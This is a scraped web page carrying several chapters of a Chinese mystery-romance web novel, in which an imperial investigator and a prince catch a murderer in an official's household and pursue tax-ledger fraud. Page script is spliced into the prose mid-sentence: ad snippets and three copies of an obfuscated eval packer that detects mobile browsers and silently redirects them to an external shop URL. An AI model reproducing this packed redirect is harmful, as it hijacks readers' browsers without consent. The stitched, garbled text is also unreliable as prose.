李希言凝视着她,仿佛早就看透了她的心思:“不止吧?” “啊……”阿蝉压低了声音,“我们房里的婆子说她……是青楼女子。这种事到底没有证据,不好乱说,我也不确定的。” 一个嗜好残害青楼女子的人会纳其为妾? 那这个杨利贞还真是……坏得让人摸不透了。 “我还有个问题想问你。平日里,你可在府里见过那些官员来找过杨利贞?” “不少哩。”阿蝉认认真真地扳着指头数,“刺史来过几次,俩人关系不错。几个参军也来过,但是关系平平,那个法曹参军很讨厌他,还和他吵过一架。还有几个县的县令都来过,苟县令来的最勤啦,不过之前也吵过架。” “苟维和他吵过架?” “没错。大概是半年前吧,也不知道为了什么,俩人在书房里吵了一架,苟维气得不轻。” 大致要问的都问完了,李希言带着阿蝉向外走。 一出小门,就见管事正带着几个仆人站在院中等候着。 “李少使,这几个就是那晚留在府中的人。” 几个仆人多是女子,为数不多的男子还不及李希言的个头。 她瞟了一眼就排除了这些人的嫌疑。 “你们那晚真的什么都没有听见吗?” 众人齐齐摇头。 这药应该就是下在月饼里了。 每个人都中了招。 管事上前道:“李少使可还有什么要问的吗?” 李希言摩挲着刀柄:“还有你们阿郎没有盘问。” 管事劝阻道:“阿郎他……” “没事。”李希言直接打断他,“问几句话罢了。按照外头的流言,人可算是你们阿郎亲手杀的。” “怎么能这样算呢……阿郎他……” 李希言不再和他多话,直接朝着正房阔步走了过去。 守在门外的婢女是那日给他们开门的那一个。 她一见李希言就乖乖缩到旁边,完全没有阻拦的意思。 李希言快速推开门走了进去,反手关上了门。 门被几乎是摔着关上的,呯得一声响。 管事犹豫了一二还是老实站在了外面。 杨利贞还是躺在床上,一点点挣扎着坐了起来。 “李……少使来了?” 李希言站在门口和他对视着,没有走近的意思。 室内昏暗,看不清她的表情。 “薛夫人胃里验出了迷药。” “迷……药?”杨利贞浑身一抖。 “是有人杀死了他们。”

'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 一听见这话,杨利贞用力转过来,探着脖子:“谁?是谁!” “你先回答我一个问题。” “问,你问。” “有谁知道你那晚所见幻象?” “县衙的人知道,你知道,府里的人知道。” 县衙的人啊…… 李希言推开门走了出去。 这就问完了? 管事小步跑了过去,望了一眼里间才放下心。 “怎么?觉得本官要害杨长史?” 管事连连否认。 李希言却忽然意味不明地笑了一下。 “走了。” 出了杨府。 关风和有些忍不住了:“少使,这人到底是谁杀的?” 李希言没有正面回答,反而嘱咐道:“你们带人去县衙盯着。” “县衙?卫川不是在那儿嘛。” “他有其他的事情要做,你们是暗中盯梢。对了。”李希言停下脚步,“顺便让苟维知道我们今日去了一趟杨府,我和杨利贞单独说了很久的话,还发誓要找出凶手。” “是。” 容朗忽然开口:“我还想去看看尸体,那日看得不太仔细,我怕有什么遗漏。” “你们一起吧,我先回驿站了。” 瑞王一个人在驿站,她终究是不放心。 容朗也知道她的想法,玩笑道:“他要是闹,就告诉他,我回去会收拾他。” “好。”李希言抿了抿嘴角,将笑意藏在眼底。 苗青:我觉得不对劲的不仅仅只是这个长乐王吧?少使也……不咋对劲。 关风和毫无所觉,十分煞风景地说着:“快走吧,也不知道卫川那个小子在县衙干啥,还要我们去盯梢……” 而被她念叨着的卫川鼻子有些痒。 看着面前的婢女,他咬牙忍了过去,维持着潇洒的笑。 “盈盈,你今日怎么没戴昨日我给你的簪子?” 叫做盈盈的婢女俏脸一红,眼波流转。 “那簪子太贵重了,婢子一个干粗活儿的,怕弄坏了……” 卫川一脸不在乎:“不值钱的小玩意儿罢了。坏了我再给你买一堆,尽着你戴。” “大人对我这样好,倒是叫我……”盈盈轻咬嘴唇,一双眼满是娇羞,怯怯地望着他。 “别说这些,说好了的,我是要让你名正言顺进我们国公府的。只是……你再等等。” “还要等多久啊?”这话有些急切,盈盈一说完立即找补,垂着眼,一脸哀伤,“县令最是好色……我怕被他……” “唉,其实这事情和你家主子也有关。”卫川微微仰起头,看着天空,“你有所不知啊,我也是有难处的。” “郎君有什么难处?” “我就直说了,你家主子上面那个和我爹算是政敌。我爹这次可是给我下了命令,搞不死你家主子就不准我回去。” “啊?”盈盈眼底闪过一丝算计,面上还是一派单纯的惊讶,“可是……” “没什么可是,我爹说了,这次就是他没有犯事,也要把事情扣在他头上。” 卫川深深地望着她:“你知道的,我是想让你做正经妾室,所以才想着等这事情办成了,我爹开心了,我也好开口,事情也能顺利些。” “是么……” “怎么?你不信我?”卫川放柔了声音,带着诱哄。 盈盈眼神微动:“怎么不信?” 45. 夜过半 过了午饭的时辰,容朗才回了驿站。 “小主子!”张锦笑眯眯地帮他换衣裳,“可用过午饭了?可要咱家让人上些来?” “还没呢。”容朗换上干净衣裳,吐出一口浊气,“也就你还惦记我。” 张锦捂着嘴笑:“今儿中午用饭,李少使特意让人给您留的呢!” “真的?!”容朗欢喜得连手上的衣服都掉到了地上。 张锦把衣裳捡起来拍了拍灰给他披上。 “真的,咱家还能骗您不成?可见啊,这‘精诚所至金石为开’。李少使现在心里还是有您的位置的。” “那是。”容朗扬起下巴,“她从小就对我好。” 说到以前的事儿,张锦也不免伤怀。 “是呢,幸好李少使心善。不然,真怕您那时候就伤了身子。” “我让你传回去的信传了吗?” “传过去了。” “你那个干儿子……可信吗?”涉及到自己哥哥,容朗还是多几分谨慎。 “可信可信!那孩子自小在咱家跟前长大的,您放心,小殿下这边咱家也看着的,不会有事。咱家让人把饭菜摆到李少使屋里?” “正好,我今儿有个大发现要告诉她……” 李希言看着面前正在摆菜的驿卒,放下了书。 “这是?” 驿卒眨了眨眼。 “不是和您一起来的那位张内侍吩咐的吗?” “李少使,打扰了。”容朗红光满面走了进来,“我有事儿要和你说。” 驿卒见状退了出去。 李希言直接戳穿:“王爷大可用完饭再来。” “可是……”容朗摸摸肚子,下垂的眼尾显得他分外委屈,“我很饿啊……” 李希言别过视线,拿起书遮住脸。 怎么像驿站养的那只小土狗? “李少使……” 小心翼翼的声音让李希言觉得有些过不去。 或许真的是因为事情太重要了吧。 “王爷先用饭吧。” “好!”容朗乐呵呵地坐了下来,“听张内侍说,李少使特意给我留了饭。” 李希言耳朵一下烧了起来,恨不得把书盖在脸上。 多嘴的张锦! “看书的时候离得太近对眼睛不好。”容朗调侃完才拿起筷子,顺道卖了个惨,“自从母后走了,就再也没有人关心过我有没有用饭……” 李希言躲在书后翻了个白眼。 他们这些近臣,谁没听过皇帝叨叨过“长乐王吃得太少”“长乐王天天节食”? 二人,一个看书一个吃饭,都没有再说话。 等容朗放下筷子,沉默才被打破。 “李少使很爱看书?” 李希言大大方方地把书亮给他看。 书上写着四个大字——滦州公案。 “话本?” “嗯。” 容朗有些意外:“李少使要看话本? “怎么?” 他见她看得那么认真还以为是什么正经书。 李希言像是知道他的想法。 “这一类话本多是作者根据所见所闻所编撰的。说是话本,不如说是民间百姓的状纸。” “状纸?这是什么说法?” 李希言指着自己正在看的那一页。 “就说这个案子。死者殴打妻子时,其子为保护母亲失手错杀死者,却被判腰斩弃市。这种事情不少,但是目前的律法却没有明确的关于这种情况的律例。官员遇见这种案子,也会直接按照弑父来判。” 这个案例恰巧戳到了容朗的痛处。 “那些官员这样不近人情吗?” 李希言忽然师父生前所言。 好像先帝的死…… “去年蔡州报上来一个案子就是如此。幸好大理寺寺卿力排众议参照误杀判的。” “误杀也有点冤……” 李希言不想再提这件事情,问道:“王爷今日有何发现?” 一说到这儿,容朗的眼睛一下就亮了。 “我们有个推论可能是错误的。” “哪个推论?” “有没有可能凶手不止一个呢?” “为何这样说?” “我今日把尸体上每一处刀痕都验了一遍,发现在薛夫人和杨小郎身上有五处刀痕是左利手造成的。” “凶手也有可能左右开弓。” “不,不是。左利手那一个比右利手那一个矮上一些。” “可我们今日只发现了一个人的脚印。” “谁知道呢?但是我可以确定行凶的人至少有两个。”容朗无意识摸着茶盏,“有可能其中一个是下药的内应,另外一个是外人。那个内应是走一楼离开的,但是清除了自己的痕迹。” “少使。”门被敲开,一个绣衣使走了进来,“话已经传到了杨家。” “那就好,你先下去吧。” “是。” 容朗收回视线:“给杨家传话?” “我让人告诉管事,明日我会去搜府,让他做好准备。顺便让他留意身长五尺八寸会武功的男子。” “既然要搜府为何还提前知会他,那凶手若在其中,岂不是打草惊蛇?” “要的就是他销毁证据。杨府外面现在都是我的人,只要凶手有什么动作,马上就能拿下。” “凶手的武功不差,若是他晚上行动?” “今晚我会亲自去看着。”李希言自信得很坦然,“那人武功不会比我好,我不会输。” “我也一起吧。”容朗主动请缨,“有个人照应总是好的,关校尉他们又不在。” 李希言很爽快地说道:“王爷若来自然更好。” 是夜。 杨府新挂起的招魂幡被秋风吹得直响。 低低的哀泣声已经响了一日,直到此时才稍稍停下。 李希言躲在树上,一身黑衣完全隐没在树影之中。 一眼望下去,灵堂的情况尽收眼底。 跪在灵前抹眼泪的是莲姨娘。 她哭得最是伤心。 不仅仅只是为了薛夫人,更是为了她自己。 她唯一的孩子也死了。 身边的婢女扶起她。 “先回去吧,府里现在已经乱成一团了,您可得保重身子。” “我知道。”莲姨娘半靠在婢女身上,声音嘶哑,“我还得等着抓到凶手……为我儿报仇,还有夫人……” 絮絮的低语远去,在黑夜中消失不见。 “今日下午,莲姨娘订了一份糕点。”李希言往东边转了转。 “糕点?” “她哪里像是有心情吃糕点的样子?难道她就是那个内应?不会吧?”容朗不敢相信,“杨小郎是她的孩子呀!” “或许另有缘由。”李希言站起身,遥遥一指,“去她院儿里蹲着。” 西院面积大,院抢旁边还有一大片高大的灌木,足以将人遮得严严实实。 杨府渐渐安静下来,二人一前一后一跃而下,迅速翻了进去,一闪身躲进了灌木丛后。 藏好身,李希言才稍稍放松了些,倚靠在身后的府墙上休息。 容朗悄悄挪到她身边。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13958427|144568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “李少使,你饿不饿?” 李希言闭着眼睛假寐。 “还好。” 就是饿的意思。 容朗太过了解她口是心非的本性,直接摸出一个油纸包打开。 一股羊肉味儿直往鼻子里窜。 李希言睁开了眼。 羊肉片儿雪白雪白的,却带着一丝香料的气味儿,刚好冲淡了羊肉的膻味。 确实有点香…… 容朗就知道她爱吃这个,又往前凑了凑。 “我有些饿,但又不好意思吃独食。” 李希言沉默了一会儿,矜持拿起一片吃下。 肉质紧实,清爽不腻。 有一就有二。 二人很快分食完一包羊肉。 李希言耳朵有些红。 怎么一遇见他就馋嘴。 “那人怎么还不来,我还没吃饱。”容朗的声音就在她的耳边,带着撒娇的意味。 李希言往旁边挪了挪。 “应该快了。” “李少使猜得到他什么时候来?” “大概吧。”李希言微微俯身,眼神从灌木丛的缝隙中穿过。 房间外的两个婢女已经倚靠在门边,坐在地上,脑袋一点一点的。 “迷药?” “噤声。”李希言的手已经放在刀柄上,警戒地看着灌木丛对面的府墙。 容朗明白。 来人了。 二人屏住了呼吸。 一个人影从府墙外跳了进来。 动作极其敏捷,轻功比之苗青也不差几分。 李希言朝着外面的树打了个手势。 树影中,有白光一闪而过。 她的手才按在了刀柄上。 借着明亮的月光,人影的模样逐渐清晰。 是个年轻的男子,面目精悍,浓眉大眼,身长……五尺八寸! 容朗以口型问道:“要动手吗?” 李希言摇了摇头。 要等。 要抓现行。 年轻男子优哉游哉走向了卧房的门,他在门前蹲下,从容地给了将两个婢女打晕。 熟练的样子像是做过无数次一样。 “于郎,是你吗?”门被轻轻推开,莲姨娘手上握着一把还沾着烛芯的剪刀,一脸欢喜地走了出来。 “是我。”年轻男子抚上了她的双鬓。 莲姨娘欢喜地扑进他的怀里。 李希言却忽然脸色一变,冲了出去。 “住手!” 正在拥抱的二人齐齐看了过来。 年轻男子扭过头,面露惊讶,僵在原地。 而莲姨娘已经举起了剪刀,一脸决绝地朝着男子的胸口扎去。 李希言还是晚了一步,剪刀插在了男子的心口。 她一把扯开了莲姨娘,反剪其双臂。 容朗也已经跑了过来,急忙掏出药瓶往男子伤口上倒。 外面的绣衣使听见了动静,一窝蜂涌了进来。 “快!把人拉下去救治,别让人死了!” 就在此时,被李希言押着的莲姨娘却疯狂挣扎了起来。 “不准救他!不准!” 凄厉的喊声在院内回荡。 中了迷药的婢女却还是坐在地上,毫无动静…… “要让他偿命!偿命!杀了他!” 她不管不顾地大喊着,模样已经有了几分疯魔,脸色也红得发紫。 李希言狠下心,将她打晕抱住。 “将此人就近安置,绝对不能让他死了。” “是!” 46. 居心不良 天色蒙蒙亮。 李希言一夜未眠,坐在杨府东院中等待着。 被叫来的管事眼皮还打着架。 “李少使这是……” “嫌犯在里面。”李希言灌下一口浓茶,“昨晚抓到的。” 管事的脑子一下就清醒了。 “凶手抓到了。” 但是话一出口,他也发觉了不对。 抓到了凶手怎么会在莲姨娘的院子内…… 而且莲姨娘也不见踪影。 一个猜想在他脑内浮现。 管事的脸青一阵白一阵。 这算什么事啊! “杨长史可好些了吗?” 管事不明白她为何问这个,只好如实道:“还是起不了身。” 紧闭的门终于被打开。 容朗走了出来,站在门口,一脸倦色。 “人已经醒了。” 李希言立即起身往房内走去。 管事也急忙跟上。 一进屋。 只见那人躺在床上,微微睁着眼。 “你叫什么名字?” 年轻男子张了张嘴,却只能发出“啊啊”的声音。 李希言背着手:“你是和月斋的伙计?” 男子苍白的脸色红了一下。 “你家里的姐妹还在吗?” 男子眼中闪过一丝刻骨的恨。 李希言不再多问,转过身。 “把他和莲姨娘带去县衙。” 还在美梦中的苟维被急促的敲门声喊醒。 脏话即将要出口。 “老爷,老爷别睡了,绣衣司的李少使来了!就在县衙大堂等着您。” 苟维立即坐了起来,把脏话活活咽了下去。 不过一刻钟,他就穿戴整齐地踏出了卧房大门。 来叫他的人是他的管事。 “老爷,李少使说是抓到了杀杨家人的凶手!” 苟维眼珠子转了转。 “是谁?” “是杨家的那个莲姨娘和一个男……” 管事话未说完,苟维就大步踏了出去。 等他到大堂的时候,李希言脸上已经有了几分不耐烦。 “县衙是何时点卯?” 还没来得及行礼的苟维像是被冻住了一样,僵在原地。 “点卯”“点卯”,自然是卯时就要上值。 “现在是什么时辰?” 天光大亮,辰时正。 苟维只能扯谎。 “下官刚刚……刚刚在整理积压的旧务。” 李希言点了点惊堂木。 “苟县令当真勤勉,早起连衣裳都没有整理好就忙着去做事。” 苟维理了理衣裳的褶皱:“是下官失仪了!下官见过王爷,见过李少使。” 还有更重要的事情,李希言不再揪着他的问题不放,抬手指向下面的二人。 一个躺着,一个站着。 “昨晚,此人潜入杨府与莲姨娘私会。经本官查证,此人的脚印和凶案现场留下的脚印重合。” 男子躺在担架上,盖着被子,头发凌乱,看不清面容。 苟维上前查看,不过一眼,他就跳了起来。 “这不是于大吗!” “你认识此人?” “怎么不认识!”苟维指着于大,情绪激动,“此人就是那个被杨利贞打死的于氏的亲哥哥!原来和他们村里的人一起来闹过事!” 话说到这里还有什么不明白。 “难道就是此人为了替死了的于氏报仇才杀了薛夫人他们?” 李希言一脸镇定:“先去查一查,八月十五那日给杨府送月饼的人是不是他……” “还有什么好查的。”一直沉默的莲姨娘笑声低哑,“就是他。” “你有何证据?” “事已至此,我也没什么好隐瞒的。于大是和月斋的伙计,几个月前,我和他偶然相识有了来往。之后我们约定好,每次我要见他,就订和月斋的点心,而他就会在点心里下迷药迷倒我的仆人好和我私会……”莲姨娘面无表情,仿佛是已经看透了一切。 苟维指着于大。 “恶毒恶毒!薛夫人何其无辜,孩子何其无辜,就算是要报仇你也不该牵连无辜之人。” 李希言走下主位,拍了拍苟维的肩膀。 “这事儿就算了结了,等人醒了,你好生问一问,过几日本官来拿口供。” 苟维见她一副要走的架势,心里别提多高兴了。 “是是是,下官明白,下官明白……” 一出县衙,李希言支走了其他人,自己独身一人朝着北边走去。 县衙门口的衙役深深望了一眼她的背影,转身回了县衙…… 李希言停住脚步,侧过头,勾起嘴角。 容朗从旁边的小巷穿出。 “如你所料。” “走吧。” “我们接下来去哪里?” “去取经。” “取经?”容朗明了,“去找陆御史?我去合适吗?” “你最合适。” 李希言在前面带路。 巷道纵横交错,她的脚步却一直很坚定,拐了几个弯就到了陆宅门外。 “陆宅如此偏僻,李少使却把位置记得很清楚。” 李希言仰起头:“我居心不良,自然记得清楚。” 她敲了敲门。 门很快被打开。 开门的还是上次所见的小厮。 “李少使?是您?” 李希言一脸凝重:“有急事要找陆御史,劳烦通报一声。” 小厮歪了歪脑袋,打量了站在一旁的容朗两眼,面露迟疑。 “好,您稍等。” 他把二人留在门外,小跑着回了宅子内。 陆方明正坐在院内喝茶。 香茗秋景,好不怡人。 小厮跑上前,语气轻快:“阿郎。李少使又来了,她还带了个长得好好看的郎君。” “好看的郎君?怎么个好看法?” “看上去很贵气,壮壮的,高高的。” 陆方明喃喃道:“不是卫川……” “阿郎?”小厮出言提醒,“您要见吗?” 陆方明笑意加深:“见,怎么不见?” 小厮这才放心带着二人进来。 陆方明还是那一身家常衣裳,一脸微笑站在桌边。 可是在看清来者的时候,他脸上的笑还是僵硬了一分。 “王爷?” 容朗脸上的笑意极浅,但是又说不出他是在冷脸。 “陆御史,好久不见。” 陆方明瞬间恢复了往日的从容,上前施礼。 “下官见过王爷。” “不必客气。”容朗自顾自坐了下来,“今日我不过是跟着李少使一起来的罢了。” 两个客人稳坐,陆方明也只好入座。 他给二人亲手倒上茶。 “不知王爷此番前来所为何事?” 容朗刮着茶,垂眸不说话。 陆方明恍然大悟,转向李希言。 “李少使此番前来是为了何事啊?可是肖郎中的事情有了结果?” “肖郎中的尸体我已经检验过,确实是自杀。”李希言无奈摇头,将苟维编造的理由告知给他。 “还有这样的事……”陆方明叹气,“肖郎中怎么这样想不开啊。” “此事我已经嘱咐苟县令让他三缄其口,到底涉及朝廷颜面,不能闹大。” “李少使说得有理。” “这次来找您 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13972778|144568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,主要是为了另外一件事情。” “什么事?” “陆御史可查过吴县近五年来的茶税?” 陆方明坦然道:“去年和今年的还没有看过。怎么?有问题?” “杨长史家中出事,您应该知道吧?” “坊间传得沸沸扬扬……怎会不知?” “今日,我已经抓到凶手,凶手是因为私仇报复杨长史。只是,现场却有一点很是奇怪。” “哪里奇怪?” “杨长史的书房内少了一本吴县今年的茶税账册。” 陆方明何等机敏,立即反问:“你是指此案和苟县令有关?” “凶手若为私仇杀人即可,何必偷走账册?更何况,他一个平头百姓,偷一本账册有什么用?” “你说的有理,只是这账册……” “下官听说,宋刺史那里还有一本……” 陆方明轻笑一声:“李少使是想问我能不能拿得到账册?” “下官实在没有别的法子了。” “小事一桩。宋刺史走前将事情都托付给了我,我自然能拿得到。这样吧,今晚我就让人把账册送过去?” 李希言郑重行礼:“劳烦您了。” “你我同僚,何必客气。只是那杨家的案子……不能让那凶手指证幕后指使吗?” “昨晚那个凶手已经被杨家人刺伤,时日无多,也说不了话,怕是无法指证。”李希言深深叹一口气,“我有心无力。” “诶!”陆方明好言劝慰,“李少使莫要丧气,这世间的案子哪有个个都能破的?能抓到那一个凶手也算是能告慰薛夫人和杨家孩子的在天之灵了。” 陆方明极守信用,当晚戌时正就让人把账册送到了驿站。 “真是迫不及待。”李希言捏着账册,笑得讽刺。 容朗拨弄着香炉。 “李少使这是想要做什么?为何对陆方明全盘托出?此人可不简单。” “就是因为他不简单。怎么?王爷不过见了他一面,就这样不喜欢他?” 香炉窜出一股股白烟。 暖暖的香气驱散了秋寒。 “光是他家里那个茶盏,就值七八百两白银。” 李希言“啧”了一声。 “早知道今日就假装失手打碎一个了。” 若是真打碎一个,陆方明定然是又肉疼又憋屈。 一想到这里,容朗不禁笑出声。 “这账册李少使准备怎么处理?” “没什么好查的,肯定是有问题,这账册我另有他用。” “那肖郎中之死还有河堤的事情……你有什么打算?肖郎中如今可是生死不明啊……” “肖郎中定然已经被他们杀害,不然他们不敢拿别人来顶替他。我更在乎另外一点,他们为何要用这样的险招?自缢又不是不能作假,比起拿人来顶替,作假更简单些。所谓的死亡现场也都被清理了……” 容朗忽然想起了什么:“你还记得田耀吗?” “那个被葛渊灭口的船工?” “你说肖郎中会不会是被他们扔进河里了?” 苏州有广袤的太湖,靠近入海口,河流众多。 把尸体往太湖或者河里一扔…… 谁能找到得到尸体? 李希言摩挲着额角。 “要么肖郎中尸体很容易被验出,他们只能毁尸灭迹。要么是肖郎中自己已经察觉到危险,只能跳河自杀。” “还是要知道他生前的活动轨迹才能推得出来。他身边的仆人和驿站的人应该知道啊。” “他的小厮在他死后就立即回了京城。绣衣司查过,根本没有找到他的任何踪迹,多半是已经被灭口了。驿站那边……” 敲门声响起。 她指向门口:“来了。” 47. 肖平之死 肖平生前居住的驿站是苏州另外一边的驿站。 驿站的驿长是个白白胖胖的中年男子。 朝廷为了节省驿站开支,驿长一般由有关系或者财力的富户来担任。 这个驿长也不例外。 “鄙人见过李少使。” “你倒是会认人。” 李希言语气慢悠悠的,驿长却直冒汗。 “鄙人只是猜测……” “肖平肖郎中认识吗?” “认识认识。”一听到这个名字,驿长就知道自己被抓来的缘由了,“肖郎中一直住在鄙人的驿站中,但是他的死……鄙人真的不知情啊。” 自己的驿站里死了一个钦差,他当时都要吓疯了。 李希言本来就不想为难他,语气和缓了些。 “本官找你来,只是想问一问线索。你可还记得肖郎中死前有没有发生什么特殊的事情?” 驿长舒了一口气。 “有!就是肖郎中自缢那晚。他很晚才回来,一回来就急匆匆地上了楼,也不和我们打招呼,把自己关在屋内。驿卒去敲门也不应。第二日一早……驿卒敲门听见里面没有动静,就大着胆子进去了,结果……才发现肖郎中已经吊死了。” “那晚,你们有没有人看清他的脸?” “没有,他捂着脸进来的。” “除此以外,肖郎中在去世前那段时间常去什么地方?” “肖郎中啊……他真是个好官,烟花之地是从来不去的,一来就日日往河堤那边跑,要么就是去县衙。” “除了这两个地方,他哪儿也没去过?” “没有,每日两点一线,鄙人让他去买些特产带回去,他都没空去。” “肖郎中去世后,有哪些人来查过?” 驿长想了想才回答道:“县衙的人来过几次,还把我们拉去问过话。之后县衙来人说肖郎中是自缢,结案后就让我们把房间收拾了。” “房间如今有人入住吗?” 驿长脸色发青。 “这……驿站来来往往的都是贵人,才出了事儿的房间,鄙人怎敢让贵人住进去。那房间现在还空着的,鄙人已经把它给锁了。” “今日之事,莫要对他人提起。” 驿长连连点头:“鄙人明白。” 这钦差的死肯定有蹊跷,才会把绣衣司的人都招来了。 李希言疲倦地摆了摆手:“送他回去吧。” 在驿站沉寂了几日。 李希言一大早就换了一身绛红色便衣坐在屋内用饭。 来交课业的瑞王眼睛一亮。 “我就说嘛,你日日穿得黑糊糊的多难看,还是红色衬你。” 李希言塞了个包子堵住他的嘴。 “少点评他人外表。” 跟着后面进来的容朗会说话得多。 “李少使穿什么都是好看的。” 李希言手颤了一下,低头认真看着瑞王的课业。 “写得不错。” 瑞王咽下嘴里的一口包子。 “那有没有奖励?” 李希言将课业收好。 “今日带你出门逛逛。” “真的?!”瑞王被关在驿站好几日了,正憋闷着。 李希言故意板着脸说反话。 “假的。” “嘿嘿,我知道是真的。”瑞王欢喜得脸都红了,“除了第一日去城隍庙逛了逛,我还没去过其他地方呢。” “李少使今日怎么有心情出门?”容朗这两日找她下棋都被推了。 “事情要办完了,自然该休息两日,顺便……”李希言视线转向一旁的瑞王,“带钱了吗?” 瑞王面露哀怨地看着自家小叔叔。 小叔叔是不限制他,但是他把自己的金银细软全部捏在手里! 他就是跑也没用。 容朗很是警惕:“一起出去,我还会不付钱吗?” “哼~” 李希言起身理了理衣裳:“走吧,任小郎。” “什么任小郎?” 李希言摸出一份路引在他眼前晃了晃:“你的新身份,任性。” “谁任性了!你怎么给我取这个名儿!”瑞王作势要去抢。 李希言立即揣好:“还想不想出门?” 瑞王收回手,一脸怨气,声音响亮。 “想!” 容朗双眼弯弯:“不丢人啊?” “不丢人……”瑞王气呼呼地扭头就走。 出门去玩更重要!大丈夫能屈能伸。 二人慢悠悠跟在后面,和他保持着不远不近的距离。 集市上人还不多,三人走得很是从容。 瑞王在前面东摸摸西看看。 “李少使今日是只为了逛街吗?” 前几日在集市遇袭的事情让容朗至今记得清清楚楚。 “是啊,带他出来透透气。”李希言抬了抬下巴,“免得他憋坏了。” 容朗不太相信:“真的吗?” “也不全是。陛下不是吩咐过要让他好好体察民情吗?” 容朗就知道,她脑子里全是公事…… “所以,李少使回去后还会给他布置课业?比如米面油粮的价格?” 李希言爽快承认:“差不多吧” 看着前面蹦蹦跳跳的背影,容朗心中生出些许的同情…… “小容!”瑞王笑得灿烂,转过来朝着二人招手,“快过来给我把账结了!” 容朗捏紧拳头。 同情个屁! 他忍着怒气付完账。 瑞王得寸进尺,想把刚买的东西往他手里塞。 “我只给以后的夫人提东西。”容朗直接躲开。 李希言倒是好心接过来,还问道:“买的什么?” “团扇!”瑞王拿出来和她分享,“好看吧,这个是给我阿娘买的。” 团扇上绣了一朵牡丹花,很是合宜皇后的身份。 李希言问道:“让人给你送回去?” “可以吗?” “可以。” 瑞王顺势一塞:“谢谢李夫子。” 李希言也不在意,帮他提着。 “真是厚脸皮。”容朗小声骂道,“这个顺杆爬的臭小子。” 走了一路,瑞王拐了个弯进了一个茶庄 茶庄不大,但是里面茶香四溢,品种也很是繁多。 一排排青花瓷罐子整齐罗列在柜台旁。 瑞王一副财大气粗的模样:“老板。你们这儿最好的茶是哪一种?” 正趴在柜台上的老板一见他这打扮眼睛都泛着绿光。 是个阔绰的公子哥! 他迎上前,热情地介绍着:“最贵的自然就是我们苏州特产的洞庭碧螺春!来您看看……” 老板引着瑞王走到一个大茶罐跟前,揭开盖子。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13989356|144568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 一股高扬的茶香扑面而来,还带着果香。 “您瞧瞧这茶叶,这可是正宗洞庭山产的碧螺春。这色泽是最上品的,翠绿中带着点儿银色。还有这品相,卷曲似螺,绒毛满披。喝起来更是甘甜鲜爽,回味无穷。不是鄙人吹嘘,整个苏州城没有比小店中更好的了!” 瑞王是生在富贵窝的,好不好一看就知。 “三月初的头茶,确实没骗人,给我来个……三斤吧!” “好勒!”老板一边打包嘴里一边说着,“小郎君好眼力呢,小店不敢说是最便宜的,但是这茶叶的质量肯定是最好的……” 容朗在瑞王开口前付了账。 李希言忽然开口“给我包个六斤。” “六……六斤?”老板愣了一下。 李希言将银票放往柜台上。 “均分成六份。” 老板咽了一口口水。 今儿发大财了! 他捧起银票。 “马上给您装上!” “你买这么多茶叶干嘛?”瑞王记得她一直挺朴素的啊。 “给师兄他们。” “哦!对哦,国……他是很爱喝茶。” 老板将茶叶包好:“三位慢走,下次再来啊。” 这一买,李希言手上的东西就多了起来。 容朗很自然地把东西接到了自己手里。 一直到自己手里空空,李希言才反应过来。 她狐疑地看了一眼身边的容朗。 什么时候把东西给他的啊? 容朗神情自若,即使手里提满了东西也不见丝毫狼狈。 “李少使还要买些其他东西吗?” 李希言摇头:“算了,茶叶就够多了。” 嘴上虽然这样说着,但是之后一路走过去,她还是买了不少。 走到了集市尽头,瑞王意犹未尽地转过身。 “唉……该回去了。” 快到正午,集市人密集了起来。 李希言指向旁边的一条小路。 “绕回去。” 叔侄俩看了一眼人头攒动的集市,跟着她往左边转。 巷子有些窄小。 三人没有并排。 容朗走在最前面,瑞王被二人护在中间。 “小叔叔……”瑞王忽然停下脚步,“你不是说你只给你未来的夫人提东西吗~” 容朗背影一顿:“不会娶你的,你放心。” “你这话好恶心。” “没你恶心。”容朗继续向前走。 驿站大门口斜靠着一个白色的身影,身姿分外妖娆…… 李希言捂住额头。 这一定不是我的手下。 “哟~”白色的身影飘了过来,“你们回来了。” 李希言表情略显僵硬:“不是让你呆在县衙吗?” 来者正是应该在县衙的卫川。 卫川一双秀气的眉毛微蹙,竟有点楚楚可怜的意味。 “你别这样,本来长得就像个小娘子。”李希言眉间隐隐浮出川字,脸上是毫不掩饰的嫌弃。 “属下为了咱们绣衣司,牺牲色相,少使却如此……” 李希言摸着刀柄。 “有话直说。” 卫川立刻站直。 “回禀少使,事情已经办妥,请少使指示!” “人呢?” “就在里面。” 48. 收网 李希言独自进了屋。 屋内站在一个面色发白的娇美女子,双眼通红,眼皮微肿。 